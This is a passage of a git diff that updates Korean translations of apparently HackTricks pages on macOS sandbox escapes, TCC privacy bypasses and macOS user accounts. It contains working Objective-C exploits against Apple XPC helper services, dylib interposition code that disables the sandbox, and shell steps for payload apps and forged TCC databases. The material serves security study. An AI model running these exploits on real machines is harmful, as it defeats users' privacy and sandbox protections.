resume]; + +[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) { +NSLog(@"run task result:%@, error:%@", bSucc, error); +}]; +} +``` +#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc + +이 XPC 서비스는 항상 YES를 반환하여 모든 클라이언트를 허용했으며, 메서드 `createZipAtPath:hourThreshold:withReply:`는 기본적으로 압축할 폴더의 경로를 지정할 수 있게 해주었습니다. 그리고 그것은 ZIP 파일로 압축됩니다. + +따라서 가짜 앱 폴더 구조를 생성하고 압축한 다음, 이를 풀고 실행하여 샌드박스를 탈출할 수 있습니다. 새로운 파일은 격리 속성을 가지지 않기 때문입니다. + +익스플로잇은: +```objectivec +@protocol AudioAnalyticsHelperServiceProtocol +-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply; +@end +void exploit_AudioAnalyticsHelperService(void) { +NSString *currentPath = NSTemporaryDirectory(); +chdir([currentPath UTF8String]); +NSLog(@"======== preparing payload at the current path:%@", currentPath); +system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json"); +[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0]; +system("chmod +x compressed/poc.app/Contents/MacOS/poc"); + +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)]; +[conn resume]; + +[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){ +NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath]; +NSString *file; +while ((file = [dirEnum nextObject])) { +if ([[file pathExtension] isEqualToString: @"zip"]) { +// open the zip +NSString *cmd = [@"open " stringByAppendingString:file]; +system([cmd UTF8String]); + +sleep(3); // wait for decompression and then open the payload (poc.app) +NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]]; +system([cmd2 UTF8String]); +break; +} +} +}]; +} +``` +#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc + +이 XPC 서비스는 `extendAccessToURL:completion:` 메서드를 통해 XPC 클라이언트에 임의의 URL에 대한 읽기 및 쓰기 액세스를 제공합니다. XPC 서비스가 FDA를 가지고 있기 때문에 이러한 권한을 악용하여 TCC를 완전히 우회할 수 있습니다. + +익스플로잇은: +```objectivec +@protocol WFFileAccessHelperProtocol +- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2; +@end +typedef int (*PFN)(const char *); +void expoit_ShortcutsFileAccessHelper(NSString *target) { +[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load]; +NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"]; +conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)]; +[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1]; +[conn resume]; + +[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) { +NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding]; +NSURL *targetURL = [fpWrapper url]; + +void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2); +PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume"); +if (sandbox_extension_consume([sbxToken UTF8String]) == -1) +NSLog(@"Fail to consume the sandbox token:%@", sbxToken); +else { +NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken); +NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]); +} +}]; +} +``` +### 정적 컴파일 및 동적 링크 + +[**이 연구**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)는 샌드박스를 우회하는 2가지 방법을 발견했습니다. 샌드박스는 **libSystem** 라이브러리가 로드될 때 사용자 공간에서 적용됩니다. 이진 파일이 이를 로드하는 것을 피할 수 있다면, 샌드박스에 걸리지 않을 것입니다: + +- 이진 파일이 **완전히 정적으로 컴파일**되었다면, 해당 라이브러리를 로드하는 것을 피할 수 있습니다. +- **이진 파일이 어떤 라이브러리도 로드할 필요가 없다면** (링커도 libSystem에 있기 때문에), libSystem을 로드할 필요가 없습니다. + +### 셸코드 + +**셸코드**조차도 ARM64에서는 `libSystem.dylib`에 링크되어야 합니다: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` -### Entitlements +### 상속되지 않는 제한 -특정 **권한**이 있는 애플리케이션의 경우, **샌드박스**에서 일부 **작업**이 **허용될 수** 있음을 유의하십시오. +**[이 글의 보너스](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**에서 설명된 것처럼, 샌드박스 제한은 다음과 같습니다: +``` +(version 1) +(allow default) +(deny file-write* (literal "/private/tmp/sbx")) +``` +새 프로세스가 예를 들어 실행됨으로써 우회될 수 있습니다: +```bash +mkdir -p /tmp/poc.app/Contents/MacOS +echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc +chmod +x /tmp/poc.app/Contents/MacOS/poc +open /tmp/poc.app +``` +그러나 물론 이 새로운 프로세스는 부모 프로세스의 권한이나 특권을 상속받지 않습니다. + +### 권한 + +어떤 **작업**이 특정 **권한**이 있는 애플리케이션의 경우 **샌드박스**에 의해 **허용될 수** 있다는 점에 유의하십시오. ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) @@ -93,7 +254,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur ../../../macos-proces-abuse/macos-function-hooking.md {{#endref}} -#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스트합니다. +#### 샌드박스를 방지하기 위해 `_libsecinit_initializer`를 인터포스팅합니다. ```c // gcc -dynamiclib interpose.c -o interpose.dylib @@ -117,7 +278,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` -#### Interpost `__mac_syscall`로 샌드박스를 방지하기 +#### Interpost `__mac_syscall`로 샌드박스 방지 ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib @@ -161,7 +322,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` -### lldb로 샌드박스 디버깅 및 우회 +### lldb로 Sandbox 디버그 및 우회 샌드박스되어야 하는 애플리케이션을 컴파일해 보겠습니다: @@ -295,7 +456,7 @@ Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` -> [!WARNING] > **샌드박스를 우회하더라도 TCC**는 사용자가 프로세스가 데스크탑에서 파일을 읽는 것을 허용할지 물어봅니다. +> [!WARNING] > **샌드박스를 우회하더라도 TCC**는 사용자가 프로세스가 데스크탑에서 파일을 읽는 것을 허용할지 물어볼 것입니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 3e592e5cf..346edc814 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -6,7 +6,7 @@ ### 쓰기 우회 -이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기 보호가 없습니다**. 만약 Terminal이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**: +이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기에서 보호하지 않습니다**. 만약 Terminal이 **사용자의 바탕화면을 읽을 수 있는 권한이 없다면 여전히 그 안에 쓸 수 있습니다**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted @@ -20,13 +20,13 @@ asd ### TCC ClickJacking -사용자가 **알지 못한 채로** TCC 프롬프트 위에 **창을 올려놓는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.** +사용자가 이를 **인식하지 못한 채** **수락**하도록 **TCC 프롬프트 위에 창을 올리는** 것이 가능합니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

### 임의 이름으로 TCC 요청 -공격자는 **`Info.plist`**에서 **임의의 이름**(예: Finder, Google Chrome...)을 가진 앱을 **생성하고** TCC 보호 위치에 대한 접근을 요청할 수 있습니다. 사용자는 합법적인 애플리케이션이 이 접근을 요청하고 있다고 생각할 것입니다.\ +공격자는 **`Info.plist`**에서 **임의의 이름**(예: Finder, Google Chrome...)으로 앱을 **생성하고** TCC 보호 위치에 대한 접근을 요청할 수 있습니다. 사용자는 합법적인 애플리케이션이 이 접근을 요청하고 있다고 생각할 것입니다.\ 게다가, **합법적인 앱을 Dock에서 제거하고 가짜 앱을 올려놓는** 것이 가능하므로, 사용자가 가짜 앱(같은 아이콘을 사용할 수 있음)을 클릭하면 합법적인 앱을 호출하고 TCC 권한을 요청하여 악성코드를 실행하게 되어 사용자가 합법적인 앱이 접근을 요청했다고 믿게 만들 수 있습니다.
@@ -39,7 +39,7 @@ asd ### SSH 우회 -기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가지고 있었습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다): +기본적으로 **SSH를 통한 접근은 "전체 디스크 접근"**을 가져야 했습니다. 이를 비활성화하려면 목록에 나열되어 있지만 비활성화되어 있어야 합니다(목록에서 제거하는 것은 이러한 권한을 제거하지 않습니다): ![](<../../../../../images/image (1077).png>) @@ -52,9 +52,9 @@ asd ### 핸들 확장 - CVE-2022-26767 -속성 **`com.apple.macl`**은 파일에 부여되어 **특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다.** 이 속성은 **파일을 앱으로 드래그 앤 드롭**하거나 사용자가 **더블 클릭**하여 **기본 애플리케이션**으로 파일을 열 때 설정됩니다. +속성 **`com.apple.macl`**은 파일에 부여되어 **특정 애플리케이션이 이를 읽을 수 있는 권한을 부여합니다.** 이 속성은 **파일을 앱 위로 드래그 앤 드롭**하거나 사용자가 **더블 클릭**하여 **기본 애플리케이션**으로 파일을 열 때 설정됩니다. -따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록하고** Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다). +따라서 사용자는 **모든 확장을 처리하는 악성 앱을 등록**하고 Launch Services를 호출하여 **파일을 열 수 있습니다**(따라서 악성 파일이 읽을 수 있는 접근 권한을 부여받게 됩니다). ### iCloud @@ -66,7 +66,7 @@ asd ### kTCCServiceAppleEvents / 자동화 -**`kTCCServiceAppleEvents`** 권한을 가진 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**. +**`kTCCServiceAppleEvents`** 권한이 있는 앱은 **다른 앱을 제어할 수 있습니다**. 이는 다른 앱에 부여된 권한을 **남용할 수 있음을 의미합니다**. Apple Scripts에 대한 더 많은 정보는 다음을 확인하세요: @@ -80,7 +80,7 @@ macos-apple-scripts.md #### iTerm에서 -FDA가 없는 Terminal은 iTerm을 호출할 수 있으며, 이를 사용하여 작업을 수행할 수 있습니다: +FDA가 없는 Terminal은 FDA가 있는 iTerm을 호출하여 작업을 수행할 수 있습니다: ```applescript:iterm.script tell application "iTerm" activate @@ -98,7 +98,7 @@ osascript iterm.script ``` #### Over Finder -또는 앱이 Finder에 대한 접근 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다: +또는 앱이 Finder에 대한 액세스 권한이 있는 경우, 다음과 같은 스크립트를 사용할 수 있습니다: ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) 사용자 공간의 **tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 접근합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** [이 Stack Exchange 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면, TCC 데몬은 현재 사용자의 도메인 내에서 `launchd`를 통해 실행되므로, **전달되는 모든 환경 변수를 제어**할 수 있습니다.\ -따라서, **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 아무런 프롬프트 없이** **모든 TCC 권한**을 부여할 수 있습니다.\ +따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된** **디렉토리**를 가리키도록 설정하고, **TCC** 데몬을 **재시작**한 다음, **TCC 데이터베이스를 직접 수정**하여 최종 사용자에게 아무런 요청 없이 **모든 TCC 권한**을 부여할 수 있습니다.\ PoC: ```bash # reset database just in case (no cheating!) @@ -145,33 +145,33 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - 노트 -노트는 TCC 보호 위치에 접근할 수 있었지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 복사하도록 요청할 수 있으며 (즉, 비보호 위치에) 그 파일에 접근할 수 있습니다: +노트는 TCC 보호 위치에 접근할 수 있지만, 노트가 생성될 때 **비보호 위치**에 생성됩니다. 따라서 노트에 보호된 파일을 노트에 복사하도록 요청할 수 있으며(즉, 비보호 위치에) 그 파일에 접근할 수 있습니다:
### CVE-2021-30782 - 전이 -바이너리 `/usr/libexec/lsd`는 `libsecurity_translocate` 라이브러리와 함께 `com.apple.private.nullfs_allow` 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었고, **`kTCCServiceSystemPolicyAllFiles`**와 함께 `com.apple.private.tcc.allow` 권한을 가지고 있어 모든 파일에 접근할 수 있었습니다. +바이너리 `/usr/libexec/lsd`는 `libsecurity_translocate` 라이브러리와 함께 `com.apple.private.nullfs_allow` 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었고, 모든 파일에 접근하기 위해 **`kTCCServiceSystemPolicyAllFiles`**와 함께 `com.apple.private.tcc.allow` 권한을 가지고 있었습니다. "Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출하면 Library가 **`$TMPDIR/AppTranslocation/d/d/Library`**로 매핑되어 Library 내부의 모든 문서에 **접근**할 수 있었습니다. ### CVE-2023-38571 - 음악 및 TV -**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 합니다. 여기서 `a`와 `b`는: +**`Music`**는 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 게다가, **`rename(a, b);`**와 같은 호출을 하며, 여기서 `a`와 `b`는 다음과 같습니다: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**로 포인팅할 수 있기 때문입니다. +이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약합니다. 왜냐하면 `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고, 새 폴더(b)가 생성될 때 파일을 복사하고 삭제한 후 **`~/Library/Application Support/com.apple.TCC`**를 가리키도록 할 수 있기 때문입니다. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, FDA TCC 데이터베이스로 열릴 프로세스에 의해 **`SQLITE_SQLLOG_DIR`**가 **파일 이름의 심볼릭 링크**로 남용되어 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열려 있는 것으로 덮어씌워졌습니다.**\ +**`SQLITE_SQLLOG_DIR="path/folder"`**는 기본적으로 **열려 있는 모든 db가 해당 경로로 복사됨**을 의미합니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스**를 열 프로세스에 의해 **열릴** **SQLite 데이터베이스** 내부에 **쓰기**가 이루어졌고, **파일 이름에 symlink**를 사용하여 **`SQLITE_SQLLOG_DIR`**를 남용하여 그 데이터베이스가 **열릴** 때 사용자 **TCC.db가 열려 있는 것으로 덮어씌워졌습니다.**\ **자세한 정보** [**작성물에서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**강의에서**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s). ### **SQLITE_AUTO_TRACE** -환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 로그할 수 있었습니다. +환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면, 라이브러리 **`libsqlite3.dylib`**는 모든 SQL 쿼리를 **로그**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다. 여러 애플리케이션이 TCC 보호 정보를 접근하기 위해 이 라이브러리를 사용했습니다. ```bash @@ -190,7 +190,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 이는 임시 파일 쓰기 후 **`rename(old, new)`** **가 안전하지 않습니다.** -안전하지 않은 이유는 **구(old)와 신(new) 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다. +안전하지 않은 이유는 **이전 및 새로운 경로를 별도로 해결해야 하기 때문**이며, 이는 시간이 걸릴 수 있고 경쟁 조건에 취약할 수 있습니다. 더 많은 정보는 `xnu` 함수 `renameat_internal()`을 확인할 수 있습니다. > [!CAUTION] > 기본적으로, 권한이 있는 프로세스가 당신이 제어하는 폴더에서 이름을 바꾸면, RCE를 얻고 다른 파일에 접근하게 하거나, 이 CVE와 같이 권한 있는 앱이 생성한 파일을 열고 FD를 저장할 수 있습니다. @@ -202,7 +202,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 - `/Users/hacker/ourlink`를 `/Users/hacker/Library/Application Support/com.apple.TCC/`를 가리키도록 생성합니다. - `/Users/hacker/tmp/` 디렉토리를 생성합니다. - `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`로 설정합니다. -- 이 env 변수를 사용하여 `Music`을 실행하여 버그를 유발합니다. +- 이 env 변수를 사용하여 `Music`를 실행하여 버그를 유발합니다. - `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`의 `open()`을 포착합니다 (X는 랜덤) - 여기서 우리는 이 파일을 쓰기 위해 `open()`하고 파일 디스크립터를 유지합니다. - `/Users/hacker/tmp`를 `/Users/hacker/ourlink`와 **루프에서 원자적으로 전환**합니다. @@ -222,7 +222,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ## By **NFSHomeDirectory** -TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정한 리소스에 대한 접근을 제어합니다.\ +TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**에서 사용자에게 특정 리소스에 대한 접근을 제어합니다.\ 따라서 사용자가 $HOME env 변수를 **다른 폴더**를 가리키도록 재시작하면, 사용자는 **/Library/Application Support/com.apple.TCC/TCC.db**에 새로운 TCC 데이터베이스를 생성하고 TCC를 속여 모든 TCC 권한을 모든 앱에 부여할 수 있습니다. > [!TIP] @@ -243,7 +243,7 @@ TCC는 사용자의 HOME 폴더에 있는 데이터베이스를 사용하여 **$ 5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다. 6. 사용자의 _tccd_를 중지하고 프로세스를 재부팅합니다. -두 번째 POC는 `com.apple.private.tcc.allow`가 `kTCCServiceSystemPolicySysAdminFiles` 값으로 설정된 **`/usr/libexec/configd`**를 사용했습니다.\ +두 번째 POC는 **`/usr/libexec/configd`**를 사용했으며, 여기에는 `com.apple.private.tcc.allow`가 `kTCCServiceSystemPolicySysAdminFiles` 값으로 설정되어 있었습니다.\ **`-t`** 옵션으로 **`configd`**를 실행할 수 있었고, 공격자는 **로드할 사용자 정의 번들을 지정**할 수 있었습니다. 따라서 이 익스플로잇은 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 **`configd` 코드 주입**으로 대체합니다. 자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)를 확인하세요. @@ -302,7 +302,7 @@ exit(0); ### 장치 추상화 계층 (DAL) 플러그인 -Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**`kTCCServiceCamera`**가 있는 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스 내에서 로드**합니다 (SIP 제한 없음). +Core Media I/O를 통해 카메라 스트림을 여는 시스템 애플리케이션(**`kTCCServiceCamera`**가 있는 앱)은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에서 로드**합니다 (SIP 제한 없음). 여기에 일반 **생성자**가 있는 라이브러리를 저장하는 것만으로도 **코드를 주입**하는 데 효과적입니다. @@ -378,7 +378,7 @@ launchctl load com.telegram.launcher.plist ``` ## 열린 호출로 -샌드박스에 있을 때도 **`open`**을 호출할 수 있습니다. +샌드박스화된 상태에서도 **`open`**을 호출할 수 있습니다. ### 터미널 스크립트 @@ -402,7 +402,7 @@ launchctl load com.telegram.launcher.plist ``` -애플리케이션은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다: +응용 프로그램은 /tmp와 같은 위치에 터미널 스크립트를 작성하고 다음과 같은 명령으로 실행할 수 있습니다: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -417,8 +417,8 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승 -**모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 **해당 스냅샷의 모든 파일에 접근**할 수 있습니다.\ -필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다. +**모든 사용자** (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 **해당 스냅샷의 모든 파일**에 접근할 수 있습니다.\ +필요한 **유일한 특권**은 사용되는 애플리케이션(예: `Terminal`)이 **전체 디스크 접근** (FDA) 접근 권한(`kTCCServiceSystemPolicyAllfiles`)을 가져야 하며, 이는 관리자가 부여해야 합니다. ```bash # Create snapshot tmutil localsnapshot @@ -465,14 +465,22 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/). +### CVE-2024-40855 + +[**원본 작성물**](https://www.kandji.io/blog/macos-audit-story-part2)에서 설명된 바와 같이, 이 CVE는 `diskarbitrationd`를 악용했습니다. + +공용 `DiskArbitration` 프레임워크의 함수 `DADiskMountWithArgumentsCommon`이 보안 검사를 수행했습니다. 그러나 `diskarbitrationd`를 직접 호출하여 경로에 `../` 요소와 심볼릭 링크를 사용할 수 있습니다. + +이로 인해 공격자는 `diskarbitrationd`의 권한 `com.apple.private.security.storage-exempt.heritable`로 인해 TCC 데이터베이스를 포함하여 임의의 위치에 마운트를 할 수 있었습니다. + ### asr 도구 **`/usr/sbin/asr`**는 전체 디스크를 복사하고 TCC 보호를 우회하여 다른 위치에 마운트할 수 있게 해주었습니다. ### Location Services -**`/var/db/locationd/clients.plist`**에 세 번째 TCC 데이터베이스가 있어 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\ -폴더 **`/var/db/locationd/`는 DMG 마운트에서 보호되지 않았기 때문에** 우리의 plist를 마운트하는 것이 가능했습니다. +**`/var/db/locationd/clients.plist`**에 TCC 데이터베이스가 세 번째로 존재하여 **위치 서비스에 접근할 수 있는 클라이언트**를 나타냅니다.\ +폴더 **`/var/db/locationd/`는 DMG 마운트에서 보호되지 않았기 때문에** 우리 자신의 plist를 마운트할 수 있었습니다. ## By startup apps @@ -482,7 +490,7 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith ## By grep -여러 경우에 파일은 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 보호되지 않은 위치에 저장합니다 (이는 Apple의 취약점으로 간주됩니다). +여러 경우에 파일이 이메일, 전화번호, 메시지 등과 같은 민감한 정보를 보호되지 않은 위치에 저장합니다(이는 Apple의 취약점으로 간주됩니다).
@@ -492,7 +500,7 @@ Check the **full exploit** in the [**original writeup**](https://theevilbit.gith
-[**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)를 사용하는 또 다른 방법: +[**CoreGraphics 이벤트**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)를 사용하는 또 다른 방법:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..cda980870 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,35 +1,33 @@ -# macOS Users & External Accounts +# macOS 사용자 및 외부 계정 {{#include ../../banners/hacktricks-training.md}} -## Common Users +## 일반 사용자 -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: 시스템 데몬을 위한 사용자. 기본 데몬 계정 이름은 보통 "\_"로 시작합니다: - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, 